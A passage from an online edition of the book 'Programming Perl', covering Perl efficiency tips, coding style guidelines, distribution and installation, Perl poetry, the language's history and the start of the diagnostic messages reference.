  • Don't name your subroutine parameters. You can access them directly as $_[EXPR].

  • Use whatever you think of first.

8.3.4 Maintainer Efficiency

  • Don't use defaults.

  • Use foreach to mean foreach.

  • Use meaningful loop labels with next and last.

  • Use meaningful variable names.

  • Use meaningful subroutine names.

  • Put the important thing first on the line using and, or, and statement modifiers.

  • Close your files as soon as you're done with them.

  • Use packages, modules, and classes to hide your implementation details.

  • Pass arguments as subroutine parameters.

  • Name your subroutine parameters using my.

  • Parenthesize for clarity.

  • Put in lots of (useful) comments.

  • Write the script as its own POD document.

8.3.5 Porter Efficiency

  • Wave a handsome tip under his nose.

  • Avoid functions that aren't implemented everywhere. You can use eval tests to see what's available.

  • Don't expect native float and double to pack and unpack on foreign machines.

  • Use network byte order when sending binary data over the network.

  • Don't send binary data over the network.

  • Check $] to see if the current version supports all the features you use.

  • Don't use $]: use require with a version number.

  • Put in the eval exec hack even if you don't use it.

  • Put the #!/usr/bin/perl line in even if you don't use it.

  • Test for variants of UNIX commands. Some finds can't handle -xdev, for example.

  • Avoid variant UNIX commands if you can do it internally. UNIX commands don't work too well on MS-DOS or VMS.

  • Use the Config module or the $^O variable to find out what kind of machine you're running on.

  • Put all your scripts and manpages into a single NFS filesystem that's mounted everywhere.

8.3.6 User Efficiency

  • Avoid forcing prompt order - pop users into their favorite editor with a form.

  • Better yet, use a GUI like the Perl Tk extension, where users can control the order of events.

  • Put up something for users to read while you continue doing work.

  • Use autoloading so that the program appears to run faster.

  • Give the option of helpful messages at every prompt.

  • Give a helpful usage message if users don't give correct input.

  • Display the default action at every prompt, and maybe a few alternatives.

  • Choose defaults for beginners. Allow experts to change the defaults.

  • Use single character input where it makes sense.

  • Pattern the interaction after other things the user is familiar with.

  • Make error messages clear about what needs fixing. Include all pertinent information such as filename and errno, like this:

    open(FILE, $file) or die "$0: Can't open $file for reading: $!\n";

  • Use fork and exit to detach when the rest of the script is batch processing.

  • Allow arguments to come either from the command line or via standard input.

  • Use text-oriented network protocols.

  • Don't put arbitrary limitations into your program.

  • Prefer variable-length fields over fixed-length fields.

  • Be vicariously lazy.

  • Be nice.

Previous: 8.2 Common Goofs for Novices | Programming Perl | Next: 8.4 Programming with Style
8.2 Common Goofs for Novices | Book Index | 8.4 Programming with Style


[Chapter 8] 8.4 Programming with Style

Programming PerlSearch this book

8.4 Programming with Style

Each programmer will, of course, have his or her own preferences in regards to formatting, but there are some general guidelines that will make your programs easier to read, understand, and maintain.

The most important thing is to run your programs under the -w flag at all times. You may turn it off explicitly for particular portions of code via the $^W variable if you must. You should also always run under use strict or know the reason why not. The use sigtrap and even the use diagnostics pragmas may also prove of benefit.

Regarding aesthetics of code layout, about the only thing Larry cares strongly about is that the closing brace of a multi-line BLOCK should line up in the same column as the start of the keyword that started the construct. Beyond that, he has other preferences that aren't so strong. Examples in this book (should) all follow these coding conventions.

  • Four-column indent.

  • An opening brace should be put on the same line as its preceding keyword, if possible; otherwise, line them up vertically.

    while ($condition) {	# for short ones, align with keywords
    # do something
}

# if the condition wraps, line up the braces with each other
while ($this_condition and $that_condition
       and $this_other_long_condition)
{
    # do something
}

  • Put space before the opening brace of a multi-line BLOCK.

  • A one-line BLOCK may be put on one line, including braces.

  • Do not put space before a semicolon.

  • Omit the semicolon in a short, one-line BLOCK.

  • Surround most operators with space.

  • Surround a "complex" subscript (inside brackets) with space.

  • Put blank lines between chunks of code that do different things.

  • Put a newline between a closing brace and else.

  • Do not put space between a function name instance and its opening parenthesis.

  • Put space after each comma.

  • Break long lines after an operator (but before and and or).

  • Line up corresponding items vertically.

  • Omit redundant punctuation as long as clarity doesn't suffer.

Larry has his reasons for each of these things, but he doesn't claim that everyone else's mind works the same as his does.

Here are some other, more substantive style issues to think about:

  • Just because you can do something a particular way doesn't mean you should do it that way. Perl is designed to give you several ways to do anything, so consider picking the most readable one. For instance:

    open(FOO,$foo) || die "Can't open $foo: $!";

    is better than:

    die "Can't open $foo: $!" unless open(FOO,$foo);

    because the second way hides the main point of the statement in a modifier. On the other hand

    print "Starting analysis\n" if $verbose;

    is better than:

    $verbose && print "Starting analysis\n";

    since the main point isn't whether the user typed -v or not.

    Similarly, just because an operator lets you assume default arguments doesn't mean that you have to make use of the defaults. The defaults are there for lazy systems programmers writing one-shot programs. If you want your program to be readable, consider supplying the argument.

    Along the same lines, just because you can omit parentheses in many places doesn't mean that you ought to:

    return print reverse sort num values %array;
return print(reverse(sort num (values(%array))));

    When in doubt, parenthesize. At the very least it will let some poor schmuck bounce on the % key in vi.

    Even if you aren't in doubt, consider the mental welfare of the person who has to maintain the code after you, and who will probably put parentheses in the wrong place.

  • Don't go through silly contortions to exit a loop at the top or the bottom. Perl provides the last operator so you can exit in the middle. Just "outdent" it to make it more visible:

    LINE:
    for (;;) {
        statements;
      last LINE if $foo;
        next LINE if /^#/;
        statements;
    }

  • Don't be afraid to use loop labels - they're there to enhance readability as well as to allow multi-level loop breaks. See the example just given.

  • Avoid using grep, map, or backticks in a void context; that is, when you just throw away their return values. Those functions all have return values, so use them. Otherwise, use a foreach loop or the system function.

  • For portability, when using features that may not be implemented on every machine, test the construct in an eval to see whether it fails. If you know the version or patchlevel of a particular feature, you can test $] ($PERL_VERSION in the English module) to see whether the feature is there. The Config module will also let you interrogate values determined by the Configure program when Perl was installed.

  • Choose mnemonic identifiers. If you can't remember what mnemonic means, you've got a problem.

  • While short identifiers like $gotit are probably OK, use underscores to separate words. It is generally much easier to read $var_names_like_this than $VarNamesLikeThis, especially for non-native speakers of English. Besides, the same rule works for $VAR_NAMES_LIKE_THIS.

    Package names are sometimes an exception to this rule. Perl informally reserves lowercase module names for pragmatic modules like integer and strict. Other modules should begin with a capital letter and use mixed case, but probably without underscores due to name-length limitations of some primitive filesystems.

  • You may find it helpful to use letter case to indicate the scope or nature of a variable. For example:

    $ALL_CAPS_HERE   # constants only (beware clashes with Perl vars!)
$Some_Caps_Here  # package-wide global/static
$no_caps_here    # function scope my() or local() variables

    Function and method names seem to work best as all lowercase. For example, $obj->as_string().

    You can use a leading underscore to indicate that a variable or function should not be used outside the package that defined it.

  • If you have a really hairy regular expression, use the /x modifier and put in some whitespace to make it look a little less like line noise.

  • Don't use slash as a delimiter when your regexp has slashes or backslashes.

  • Don't use quotes as a delimiter when your string contains that same quote. Use the q//, qq//, or qx// pseudofunctions instead.

  • Use the and and or operators to avoid having to parenthesize list operators so much, and to reduce the incidence of punctuational operators like && and ||. Call your subroutines as if they were functions or list operators to avoid excessive ampersands and parentheses.

  • Use "here" documents instead of repeated print statements.

  • Line up corresponding things vertically, especially if they're too long to fit on one line anyway.

    $IDX = $ST_MTIME;
$IDX = $ST_ATIME       if $opt_u;
$IDX = $ST_CTIME       if $opt_c;
$IDX = $ST_SIZE        if $opt_s;

mkdir $tmpdir, 0700 or die "can't mkdir $tmpdir: $!";
chdir($tmpdir)      or die "can't chdir $tmpdir: $!";
mkdir 'tmp',   0777 or die "can't mkdir $tmpdir/tmp: $!";

  • That which I tell you three times is true:

    Always check the return codes of system calls.
    Always check the return codes of system calls.
    ALWAYS CHECK THE RETURN CODES OF SYSTEM CALLS!

    Error messages should go to STDERR, and should say which program caused the problem and what the failed system call and arguments were. Most importantly, they should contain the standard system error message for what went wrong. Here's a simple but sufficient example:

    opendir(D, $dir)     or die "can't opendir $dir: $!";

  • Line up your translations when it makes sense:

    tr [abc]
   [xyz];

  • Think about reusability. Why waste brainpower on a one-shot script when you might want to do something like it again? Consider generalizing your code. Consider writing a module or object class. Consider making your code run cleanly with use strict and -w in effect. Consider giving away your code. Consider changing your whole world view. Consider ... oh, never mind.

  • Be consistent.

  • Be nice.

Previous: 8.3 Efficiency | Programming Perl | Next: 8.5 Distribution and Installation
8.3 Efficiency | Book Index | 8.5 Distribution and Installation


[Chapter 8] 8.5 Distribution and Installation

Programming PerlSearch this book

8.5 Distribution and Installation

You should see the Preface of this book for how to fetch and build a Perl kit for your system. Specific installation instructions come in the README file of the Perl distribution kit. Typically, you'll get the Perl kit either as a tar file or as a set of shar (shell archive) scripts.[5] A .Z extension indicates you need to uncompress the file first. A .gz extension indicates you need to gunzip the file first. You then unpack the file as appropriate, read the README file and run a massive shell script called Configure, which tries to figure out everything about your system. After this is done, you do a series of "makes" to find header file dependencies, to compile Perl (and a2p), to run regression tests, and to install Perl in your system directories.

[5] Operating systems other than UNIX may have special instructions, in which case you should follow them instead of what's in this section. Look for a file named README.xxx, where xxx is your OS name.

It's possible you'll get a copy of Perl that is already compiled. You'll have to make sure you get suidperl, a2p, and s2p as well, and the Perl library routines (see Chapter 7). Install these files in the directories that your version was compiled for. Note: binary distributions of Perl are made available because they're handy, not because you are restricted from getting the source and compiling it yourself. The people who give you the binary distribution ought to provide you with some form of access to the source, if only a pointer to where they got the source from. See the Copying file in the distribution for more information.

8.5.1 Translation from Awk and Sed

Along with the Perl distribution come three translators: a2p, which translates awk(1) (not necessarily nawk(1)) scripts to Perl; s2p, which translates sed(1) scripts to Perl; and find2perl, which translates find(1) commands to Perl. These translators don't necessarily produce idiomatic Perl, but you can use the output as a starting place. The translators can also help you see how the features of other languages map into those of Perl.

The a2p translator is written in C, so it is compiled and installed automatically along with Perl. The s2p and find2perl translators are themselves written in Perl, so no further compilation is necessary. They are installed automatically when Perl is installed. They are described more fully in Chapter 6, Social Engineering.

8.5.2 Examples

The Perl source distribution comes with some sample scripts in the eg/ subdirectory. Feel free to browse among them and use them. They are not installed automatically, however, so you'll need to copy them to the appropriate directory, and possibly fix the #! line to point to the right interpreter.

The files in the t/ and lib/ subdirectories, although incredibly arcane in spots, can also serve as examples.

The examples in this book are also available for anonymous FTP from ftp.ora.com and the scripts subdirectory of CPAN. (See the Preface for more information about CPAN.)

8.5.3 Patches

Since Perl is constantly being honed and improved, Larry occasionally posts patches through CPAN. Your distribution is likely to have had most of the patches applied already - check the output of perl -v to see the current patchlevel of your distribution.

Bug reports may be reported by invoking the perlbug command, included with the Perl distribution.

Patches are sent out with complete instructions on how to apply them. You'll want to have the patch program handy. (This program was written in self-defense by Larry when he couldn't persuade people to apply (in order and by hand) all his rn patches, resulting in cascading chaotic catastrophes around the world.) The patch program is available from the GNU project, because they have taken over the maintenance (the patching of patch, how quaint) after Larry got a little more busy with Perl.

Previous: 8.4 Programming with Style | Programming Perl | Next: 8.6 Perl Poetry
8.4 Programming with Style | Book Index | 8.6 Perl Poetry


[Chapter 8] 8.6 Perl Poetry

Programming PerlSearch this book

8.6 Perl Poetry

The forgery in the attendant sidebar appeared on Usenet on April Fool's Day, 1990. It is presented here without comment, merely to show how disgusting the metaphors of a typical programming language really are. So much for anything resembling literary value. Larry is particularly relieved that "Black Perl", originally written for Perl 3, no longer parses under Perl 5.

Perl Poetry

Article 970 of comp.lang.perl:
Path: jpl-devvax!pl-dexxav!lwall
From: lwall@jpl-dexxav.JPL.NASA.GOV (Larry Wall)
Newsgroups: news.groups,rec.arts.poems,comp.lang.perl
Subject: CALL FOR DISCUSSION: comp.lang.perl.poems
Message-ID: <0401@jpl-devvax.JPL.NASA.GOV>
Date: 1 Apr 90 00:00:00 GMT
Reply-To: lwall@jpl-devvax.JPL.NSAS.GOV (Larry Wall)
Organization: Jet Prepulsion Laboratory, Pasadena, CA
Lines: 61
It has come to my attention that there is a crying need for a place for people to express both their emotional
and technical natures simultaneously. Several people have sent me some items which don't fit into any
newsgroup. Perhaps it's because I recently posted to both comp.lang.perl and to rec.arts.poems, but people
seem to be writing poems in Perl, and they're asking me where they should post them. Here is a sampling:
From a graduate student (in finals week), the following haiku:

study, write, study,
do review (each word) if time.
close book. sleep? what's that?

And someone writing from Fort Lauderdale writes:

sleep, close together,
sort of sin each spring & wait;
50% die

A person who wishes to remain anonymous wrote the following example of "Black Perl". (The Pearl poet
would have been shocked, no doubt.)

BEFOREHAND: close door, each window & exit;  wait until time.
    open spellbook, study, read (scan, select, tell us);
write it, print the hex while each watches,
    reverse its length, write again;
    kill spiders, pop them, chop, split, kill them.
       unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
    kill them, dump qualms, shift moralities,
    values aside, each one;
        die sheep! die to reverse the system
        you accept (reject, respect);
next step,
    kill the next sacrifice, each sacrifice,
    wait, redo ritual until "all the spirits are pleased";
    do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
    exit crypt (time, times & "half a time") & close it,
    select (quickly) & warn your next victim;
AFTERWORDS: tell nobody.
    wait, wait until time;
    wait until next year, next decade;
        sleep, sleep, die yourself,
        die at last

I tried that, and it actually parses in Perl. It doesn't appear to do anything useful, however. I think I'm glad,
actually... I hereby propose the creation of comp.lang.perl.poems as a place for such items, so we don't clutter
the perl or poems newsgroups with things that may be of interest to neither. Or, alternately, we should
create rec.arts.poems.perl for items such as those above which merely parse, and don't do anything useful.
(There is precedent in rec.arts.poems, after all.) Then also create comp.lang.perl.poems for poems that
actually do something, such as this haiku of my own:

print STDOUT q
Just another Perl hacker,
unless $spring

Larry Wall lwall@jpl-devvax.jpl.nasa.gov

Larry's, er, corpus has fortunately been overshadowed by that of the reigning Perl Poet, Sharon Hopkins. She has written quite a few Perl poems, as well as a paper on Perl poetry that she presented at the Usenix Winter 1992 Technical Conference, entitled "Camels and Needles: Computer Poetry Meets the Perl Programming Language". (The paper is available as misc/poetry.ps on CPAN.) Besides being the most prolific Perl poet, Sharon is also the most widely published, having had the following poem published in both the Economist and the Guardian:

#!/usr/bin/perl

APPEAL:

listen (please, please);

    open yourself, wide;
    join (you, me),
    connect (us,together),

tell me.

do something if distressed;

    @dawn, dance;
    @evening, sing;
    read (books,$poems,stories) until peaceful;
    study if able;

    write me if-you-please;

sort your feelings, reset goals, seek (friends, family, anyone);

        do*not*die (like this)
        if sin abounds;

keys (hidden), open (locks, doors), tell secrets;
    do not, I-beg-you, close them, yet.

                accept (yourself, changes),
                bind (grief, despair);

    require truth, goodness if-you-will, each moment;

select (always), length(of-days)

# listen (a perl poem)
# Sharon Hopkins
# rev. June 19, 1995

Previous: 8.5 Distribution and Installation | Programming Perl | Next: 8.7 History Made Practical
8.5 Distribution and Installation | Book Index | 8.7 History Made Practical


[Chapter 8] 8.7 History Made Practical

Programming PerlSearch this book

8.7 History Made Practical

In order to understand why Perl is defined the way it is (or isn't), one must first understand why Perl even exists. So, let's drag out the old dusty history book....

Way back in 1986, Larry was a systems programmer on a project that was developing multi-level-secure wide-area networks. He was in charge of an installation consisting of three Vaxen and three Suns on the West Coast, connected over an encrypted, 1200-baud serial line to a similar configuration on the East Coast. Since Larry's primary job was support (he wasn't a programmer on the project, just the system guru), he was able to exploit his three virtues (laziness, impatience, and hubris) to develop and enhance all sorts of useful tools - such as rn, patch, and warp. [6]

[6] It was about this time that Larry latched onto the phrase "feeping creaturism" in a desperate attempt to justify on the basis of biological necessity his overwhelming urge to add "just one more feature". After all, if Life Is Simply Too Complicated, why not programs too? Especially programs like rn that really ought to be treated as advanced Artificial Intelligence projects so that they can read your news for you. Of course, some people say that the patch program is already too smart.

One day, after Larry had just finished ripping rn to shreds, leaving it in pieces on the floor of his directory, the great Manager came to him and said, "Larry, we need a configuration management and control system for all six Vaxen and all six Suns. We need it in a month. Go to it!"

So, Larry, never being one to shirk work, asked himself what was the best way to have a bi-coastal CM system, without writing it from scratch, that would allow viewing of problem reports on both coasts, with approvals and control. The answer came to him in one word: B-news.

Larry went off and installed news on these machines, and added two control commands: an "append" command to append to an existing article, and a "synchronize" command to keep the article numbers the same on both coasts. CM would be done using RCS, and approvals and submissions would be done using news and rn. Fine so far.

Then the great Manager asked him to produce reports. News was maintained in separate files on a master machine, with lots of cross references between files. Larry's first thought was "Let's use awk." Unfortunately, the awk of that day couldn't handle opening and closing of multiple files based on information in the files. Larry didn't want to have to code a special-purpose tool. As a result, a new language was born.

This new tool wasn't originally called Perl. Larry bandied about a number of names with his officemates and cohorts (Dan Faigin, who wrote this history, and Mark Biggar, his brother-in-law, who also helped greatly with the initial design). Larry actually considered and rejected every three or four letter word in the dictionary. One of the earliest names was "Gloria", after his sweetheart (and wife).

He soon decided that this would cause too much domestic confusion. The name then became "Pearl", which mutated into our present-day "Perl", partly because Larry saw a reference to a graphics language called "pearl", but mostly because he's too lazy to type five letters all the time. And, of course, so that Perl could be used as a four letter word. (You'll note, however, the vestiges of the former spelling in the acronym's gloss: "Practical Extraction And Report Language".)

This early Perl lacked many of the features of today's Perl. Pattern matching and filehandles were there, scalars were there, and formats were there, but there were very few functions, no associative arrays, and only a crippled implementation of regular expressions, borrowed from rn. The manpage was only 15 pages long. But Perl was faster than sed and awk, and began to be used on other applications on the project.

But Larry was needed elsewhere. Another great Manager came over one day and said "Larry, support R&D." And Larry said, OK. He took Perl with him and discovered that it was turning into a good tool for system administration. He borrowed Henry Spencer's beautiful regular expression package and butchered it into something Henry would prefer not to think about during dinner. Then Larry added most of the goodies he wanted, and a few goodies other people wanted. He released it on the network.[7] The rest, as they say, is history.[8]

[7] More astonishingly, he kept on releasing it as he went to work at Jet Propulsion Lab, then at NetLabs, Seagate, and now O'Reilly & Associates (a small company that publishes pamphlets about computers and stuff).

[8] And this, so to speak, is a footnote to history. When Perl was started, rn had just been ripped to pieces in anticipation of a major rewrite. Since he started work on Perl, Larry hasn't touched rn. It is still in pieces. Occasionally Larry threatens to rewrite rn in Perl.

Previous: 8.6 Perl Poetry | Programming Perl | Next: 9. Diagnostic Messages
8.6 Perl Poetry | Book Index | 9. Diagnostic Messages


[Chapter 9] Diagnostic Messages

Programming PerlSearch this book
Previous: 8.7 History Made Practical Chapter 9 Next: Glossary

9. Diagnostic Messages

These messages are classified as follows (listed in increasing order of desperation):

Class | Meaning
(W) | A warning (optional)
(D) | A deprecation (optional)
(S) | A severe warning (mandatory)
(F) | A fatal error (trappable)
(P) | An internal error (panic) that you should never see (trappable)
(X) | A very fatal error (non-trappable)
(A) | An alien error message (not generated by Perl)

Optional warnings are enabled by using the -w switch. Warnings may be captured by setting $SIG{__WARN__} to a reference to a routine that will be called on each warning before printing it. Trappable errors may be trapped using eval. You can also capture control before a trappable error "dies" by setting $SIG{__DIE__} to a subroutine reference, but if you don't call die within that handler, the fatal exception is still thrown when you return from it. In other words, you're not allowed to "de-fatalize" an exception that way. You must use an eval wrapper for that.

In the following messages %s stands for an interpolated string that is determined only when the message is generated. (Similarly, %d stands for an interpolated number - think printf formats, but we use %d to mean a number in any base here.) Note that some messages begin with %s - which means that listing them alphabetically is problematical. You should search among these messages if the one you are looking for does not appear in the expected place. The symbols " % - ? @ sort before alphabetic characters, while [ and \ sort after.

References of the form, "See unpack," refer to entries in Chapter 3, Functions.

If you decide a bug is a Perl bug and not your bug, you should try to reduce it to a minimal test case and then report it with the perlbug program that comes with Perl.

"my" variable %s can't be in a package

(F) Lexically scoped variables aren't in a package, so it doesn't make sense to try to declare one with a package qualifier on the front. Use local if you want to localize a package variable.

"no" not allowed in expression

(F) The no keyword is recognized and executed at compile time, and returns no useful value.

"use" not allowed in expression

(F) The use keyword is recognized and executed at compile time, and returns no useful value.

% may only be used in unpack

(F) You can't pack a string by supplying a checksum, since the checksumming process loses information, and you can't go the other way. See unpack.

%s (...) interpreted as function

(W) You've run afoul of the rule that says that any list operator followed by parentheses turns into a function, with all the list operator's arguments found inside the parens. See the section "Terms and List Operators (Leftward)" in Chapter 2, The Gory Details.

%s argument is not a HASH element

(F) The argument to delete or exists must be a hash element, such as

$foo{$bar}
$ref->[12]->{"susie"}

%s did not return a true value

(F) A required (or used) file must return a true value to indicate that it compiled correctly and ran its initialization code correctly. It's traditional to end such a file with a "1;", though any true value would do. See require.

%s found where operator expected

(S) The Perl lexer knows whether to expect a term or an operator. If it sees what it knows to be a term when it was expecting to see an operator, it gives you this warning. Usually it indicates that an operator or delimiter was omitted, such as a semicolon.

%s had compilation errors.

(F) The final summary message when a perl -c command fails.

%s has too many errors.

(F) The parser has given up trying to parse the program after 10 errors. Further error messages would likely be uninformative.

%s matches null string many times

(W) The pattern you've specified would be an infinite loop if the regular expression engine didn't specifically check for that.

%s never introduced

(S) The symbol in question was declared but somehow went out of scope before it could possibly have been used.

%s syntax OK

(F) The final summary message when a perl -c command succeeds.

%s: Command not found.

(A) You've accidentally run your script through csh instead of perl. Check the #! line, or manually feed your script into perl yourself.

%s: Expression syntax.

(A) You've accidentally run your script through csh instead of perl. Check the #! line, or manually feed your script into perl yourself.

%s: Undefined variable.

(A) You've accidentally run your script through csh instead of perl. Check the #! line, or manually feed your script into perl yourself.

%s: not found

(A) You've accidentally run your script through the Bourne shell instead of perl. Check the #! line, or manually feed your script into perl yourself.

-P not allowed for setuid/setgid script

(F) The script would have to be opened by the C preprocessor by name, which provides a race condition that breaks security.

-T and -B not implemented on filehandles

(F) Perl can't peek at the stdio buffer of filehandles when it doesn't know about your kind of stdio. You'll have to use a filename instead.

500 Server error

See Server error.

?+* follows nothing in regexp

(F) You started a regular expression with a quantifier. Backslash it if you meant it literally.

@ outside of string

(F) You had a pack template that specified an absolute position outside the string being unpacked. See pack.

accept() on closed fd

(W) You tried to do an accept on a closed socket. Did you forget to check the return value of your socket call? See accept.

Allocation too large: %d

(F) You can't allocate more than 64K on an MS-DOS machine.

Arg too short for msgsnd

(F) msgsnd requires a string at least as long as sizeof(long).

Ambiguous use of %s resolved as %s

(W)(S) You said something that may not be interpreted the way you thought. Normally it's pretty easy to disambiguate it by supplying a missing quote, operator, pair of parentheses, or declaration.

Args must match #! line

(F) The setuid emulator requires that the switches perl was invoked with match the switches specified on the #! line.

Argument "%s" isn't numeric

(W) The indicated string was fed as an argument to an operator that expected a numeric value instead. If you're fortunate the message will identify which operator was so unfortunate.

Array @%s missing the @ in argument %d of %s()

(D) Really old Perl let you omit the @ on array names in some spots. This is now heavily deprecated.

assertion botched: %s

(P) The malloc(3) package that comes with Perl had an internal failure.

Assertion failed: file "%s"

(P) A general assertion failed. The file in question must be examined.

Assignment to both a list and a scalar

(F) If you assign to a conditional operator, the second and third arguments must either both be scalars or both be lists. Otherwise Perl won't know which context to supply to the right side.

Attempt to free non-arena SV: %d

(P) All SV objects are supposed to be allocated from arenas that will be garbage collected upon exit. An SV was discovered to be outside any of those arenas. This probably means that someone screwed up in a C extension module.

Attempt to free temp prematurely

(W) Mortalized values are supposed to be freed by the internal free_tmps() routine. This indicates that something else is freeing the SV before the free_tmps() routine gets a chance, which means that the free_tmps() routine will be freeing an unreferenced scalar when it does try to free it.

Attempt to free unreferenced glob pointers

(P) The reference counts got screwed up on symbol aliases.

Attempt to free unreferenced scalar

(W) Perl went to decrement the reference count of a scalar to see if it would go to 0, and discovered that it had already gone to 0 earlier, and should have been freed, and in fact, probably was freed. This could indicate that SvREFCNT_dec() was called too many times, or that SvREFCNT_inc() was called too few times, or that the SV was mortalized when it shouldn't have been, or that memory has been corrupted. In any event, it's likely a problem with the C extension module you're developing.

Bad arg length for %s, is %d, should be %d

(F) You passed a buffer of the wrong size to one of msgctl, semctl or shmctl. In C parlance, the correct sizes are sizeof(struct msqid_ds *), sizeof(struct semid_ds *) and sizeof(struct shmid_ds *), respectively.

Bad associative array

(P) One of the internal hash routines was passed a null HV pointer.

Bad filehandle: %s

(F) A symbol was passed to something wanting a filehandle, but the symbol has no filehandle associated with it. Perhaps you didn't do an open, or did it in another package.

Bad free() ignored

(S) An internal routine called free(3) on something that had never been malloc(3)ed in the first place.

Bad name after %s::

(F) You started to name a symbol by using a package prefix, and then didn't finish the symbol. In particular, you can't interpolate outside of quotes, so

$var = 'myvar';
$sym = mypack::$var;

is not the same as

$var = 'myvar';
$sym = "mypack::$var";

Bad symbol for array

(P) An internal request asked to add an array entry to something that wasn't a symbol table entry.

Bad symbol for filehandle

(P) An internal request asked to add a filehandle entry to something that wasn't a symbol table entry.

Bad symbol for hash

(P) An internal request asked to add a hash entry to something that wasn't a symbol table entry.

Badly placed ()'s

(A) You've accidentally run your script through csh instead of perl. Check the #! line, or manually feed your script into perl yourself.

BEGIN failed--compilation aborted

(F) An untrapped exception was raised while executing a BEGIN subroutine. Compilation stops immediately and the interpreter is exited.

bind() on closed fd

(W) You tried to do a bind on a closed socket. Did you forget to check the return value of your socket call? See bind.

Bizarre copy of %s in %s

(P) Perl detected an attempt to copy an internal value that is not copiable.

Callback called exit

(F) A subroutine invoked from an external package via perl_call_sv() exited by calling exit.

Can't "last" outside a block

(F) A last statement was executed to break out of the current block, except that there's this itty bitty problem called there isn't a current block. See note on the next entry.

Can't "next" outside a block

(F) A next statement was executed to reiterate the current block, but there isn't a current block. Note that an if or else block doesn't count as a "loopish" block. You can usually double the curly brackets to get the same effect though, since the inner brackets will be considered a block that loops once. See last.

Can't "redo" outside a block

(F) A redo statement was executed to restart the current block, but there isn't a current block. See note on the previous entry.

Can't bless non-reference value

(F) Only hard references may be blessed. This is how Perl "enforces" encapsulation of objects.

Can't break at that line

(S) A debugger warning indicating the line number specified wasn't the location of a statement that could be stopped at.

Can't call method "%s" in empty package "%s"

(F) You called a method correctly, and it correctly indicated a package functioning as a class, but that package doesn't have anything at all defined in it, let alone methods.

Can't call method "%s" on unblessed reference

(F) A method call must know what package it's supposed to run in. It ordinarily finds this out from the object reference you supply, but you didn't supply an object reference in this case. A reference isn't an object reference until it has been blessed.

Can't call method "%s" without a package or object reference

(F) You used the syntax of a method call, but the slot filled by the object reference or package name contains an expression that returns neither an object reference nor a package name. (Perhaps it's null?) Something like this will reproduce the error:

$BADREF = undef;
process $BADREF 1,2,3;
$BADREF->process(1,2,3);

Can't chdir to %s

(F) You called perl -x/foo/bar, but /foo/bar is not a directory that you can chdir(2) to, possibly because it doesn't exist.

Can't coerce %s to integer in %s

(F) Certain types of SVs, in particular real symbol table entries (type GLOB), can't be forced to stop being what they are. So you can't say things like:

*foo += 1;     # ERROR

You can say

$foo = *foo;   # make a "fake" glob value
$foo += 1;

but then $foo no longer contains a glob.

Can't coerce %s to number in %s

(F) Certain types of SVs, in particular real symbol table entries (type GLOB), can't be forced to stop being what they are. See preceding entry.

Can't coerce %s to string in %s

(F) Certain types of SVs, in particular real symbol table entries (type GLOB), can't be forced to stop being what they are. See previous two entries.

Can't create pipe mailbox

(P) An error peculiar to VMS. The process is suffering from exhausted quotas or other plumbing problems.

Can't declare %s in my

(F) Only scalar, array and hash variables may be declared as lexical variables. They must have ordinary identifiers as names, since lexical variables don't live in a symbol table, and can't be package qualified.

Can't do inplace edit on %s: %s

(S) The creation of the new file failed for the indicated reason.

Can't do inplace edit without backup

(F) You're on a system such as MS-DOS that gets confused if you try reading from a deleted (but still opened) file. You have to use the switch, -i.bak, or some such.

Can't do inplace edit: %s > 14 characters

(S) There isn't enough room in the filename to make a backup name for the file. Perhaps you should get a system with longer filenames. :-)

Can't do inplace edit: %s is not a regular file

(S) You tried to use the -i switch on a special file, such as a file in /dev, or a FIFO. The file was ignored.

Can't do setegid!

(P) The setegid() call failed for some reason in the setuid emulator of suidperl.

Can't do seteuid!

(P) The setuid emulator of suidperl failed for some reason.

Can't do setuid

(F) This typically means that ordinary perl tried to exec suidperl to do setuid emulation, but couldn't exec it. If you're running /usr/local/bin/perl5.003, it looks for a corresponding /usr/local/bin/sperl5.003. (Note the "s".) If the file is there, check the execute permissions. If it isn't, ask your sysadmin why he and/or she removed it.

Can't do waitpid with flags

(F) This machine doesn't have either waitpid(2) or wait4(2), so only waitpid without flags is emulated.

Can't do {n,m} with n > m

(F) Minima must be less than or equal to maxima. If you really want your regular expression to match something 0 times, just put {0}.

Can't emulate -%s on #! line

(F) The #! line specifies a switch that doesn't make sense at this point. For example, it'd be kind of silly to put a -x on the #! line.

Can't exec "%s": %s

(W) A system, exec or piped open call could not execute the named program for the indicated reason. Typical reasons include: the permissions were wrong on the file, the file wasn't found in $ENV{PATH}, the executable in question was compiled for another architecture, or the #! line in a script points to an interpreter that can't be run for similar reasons. (Or maybe your system doesn't support #! at all.)

Can't exec %s

(F) Perl was trying to execute the indicated program for you because that's what the #! line said. If that's not what you wanted, you may need to mention "perl" on the #! line somewhere.

Can't execute %s

(F) You used the -S switch, but the script to execute could not be found in the PATH, or at least not with the correct permissions.

Can't find label %s

(F) You said to goto a label that isn't mentioned anywhere that it's possible for us to go to. See goto.

Can't find string terminator %s anywhere before EOF

(F) Perl strings can stretch over multiple lines. This message means that the closing delimiter was omitted. Since bracketed quotes count nesting levels, the following is missing its final parenthesis:

print q(The character '(' starts a s(n)ide comment.)

Can't fork

(F) A fatal error occurred while trying to fork while opening a pipeline.

Can't get filespec - stale stat buffer?

(S) A warning peculiar to VMS. This arises because of the difference between access checks under VMS and under the UNIX model Perl assumes. Under VMS, access checks are done by filename, rather than by bits in the stat buffer, so that ACLs and other protections can be taken into account. Unfortunately, Perl assumes that the stat buffer contains all the necessary information, and passes it, instead of the filespec, to the access-checking routine. It will try to retrieve the filespec using the device name and FID present in the stat buffer, but this works only if you haven't made a subsequent call to the CRTL stat routine, since the device name is overwritten with each call. If this warning appears, the name lookup failed, and the access-checking routine gave up and returned FALSE, just to be conservative. (Note: The access-checking routine knows about the Perl stat operator and file tests, so you shouldn't ever see this warning in response to a Perl command; it arises only if some internal code takes stat buffers lightly.)

Can't get pipe mailbox device name

(P) An error peculiar to VMS. After creating a mailbox to act as a pipe, Perl can't retrieve its name for later use.

Can't get SYSGEN parameter value for MAXBUF

(P) An error peculiar to VMS. Perl asked $GETSYI how big you want your mailbox buffers to be, and didn't get an answer.

Can't goto subroutine outside a subroutine

(F) The deeply magical goto SUBROUTINE call can only replace one subroutine call for another. It can't manufacture one out of whole cloth. In general you should only be calling it out of an AUTOLOAD routine anyway. See goto.

Can't localize a reference

